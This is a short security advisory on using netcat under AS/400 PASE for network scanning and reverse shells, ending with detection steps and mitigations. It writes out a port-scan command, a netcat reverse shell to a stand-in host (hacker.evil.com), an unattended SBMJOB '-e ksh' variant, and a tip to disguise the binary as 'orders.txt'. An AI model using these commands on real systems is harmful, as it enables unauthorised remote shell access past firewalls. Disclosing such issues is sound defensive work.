Reverse shell using netcat on AS/400

Overview

Netcat, dubbed the TCP/IP "Swiss Army knife", is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol. An indispensable tool, netcat stars in network hacking manuals as one of the most versatile and powerful utilities.

A netcat executable file compiled on AIX can be successfully deployed on some AS/400 servers.

Details

The AS/400 operating system has an optional feature called Portable Application Solutions Environment, or in short PASE.

(see http://publib.boulder.ibm.com/iseries/v5r2/ic2924/info/rzalf/rzalfintro.htm)

PASE provides an integrated run-time environment for AIX applications running on AS/400. For many applications, this means that all you have to do is place the AIX executables in an AS/400 folder, chmod it to executable permissions, and run it via the AS/400 PASE shell.

In particular, the netcat utility can be successfully executed, both as a client and as a server, including the -e option for reverse shell execution.

No special AS/400 privileges are required for the installation and execution of netcat, except for the ability to place a file via FTP, and the ability to CALL a program.

An AS/400 user with some very basic Unix knowledge can now download netcat to the AS400 by the built-in FTP client, and do one of several things:

a. Explore the resources on the network connected to the AS/400. For example, the following command will map out open ports on some server.

```
/home/contractor/nc -v -z -w 1 someserver 1-1000 | grep "open"
```

b. Create a reverse shell that penetrates the firewall and presents an AS/400
shell to outside parties.

Assuming that ports 21 and 80 are open for outgoing connections, the following will create a reverse shell connection to hacker.evil.com:

```
/home/contractor/nc -vv -n hacker.evil.com 21 | /QOpenSys/usr/bin/qsh |
/home/contractor/nc -vv -n hacker.evil.com 80
```

The shell in the example is qshell, which provides automatic EBCDIC to ASCII translations, (see IBM web site for explanations), but you can change qsh to ksh and to have a korn shell at your disposal.

If you want to run it in unattended mode from a job queue, get a netcat executable compiled with the gaping_security_hole option, and run this command:

```
SBMJOB CMD(CALL PGM(QP2SHELL2) PARM('/home/contractor/nc' '-e'
'/QOpenSys/bin/ksh' '-n' 'hacker.evil.com' '80'))
```

Of course, the netcat executable can be renamed to any name you like, and can be placed in any IFS folder. Try renaming it to "orders.txt" and it works with this name as well.

Vulnerable Systems:

AS/400 servers with PASE installed.

How do you know if your server has PASE? The easiest is to issue this command:

```
CALL PGM(QP2TERM)
```

This program is the PASE shell.
If you get a screen with a command line and with "/QOpenSys/usr/bin/-sh " on the top, then you have PASE installed.
Alternatively, look for licensed program 5722SS1 option 33.

Workaround:

Secure the access to PASE: limit permissions to programs QP2TERM, QP2SHELL, and QP2SHELL2. If you have audit turned on, audit their usage.
In your firewall, add rules restricting unnecessary outgoing connections from your AS/400 server to the Internet.

More information about AS/400 reverse shells and about AS/400 security issues can be found in the "Hacking iSeries" book, at www.venera.com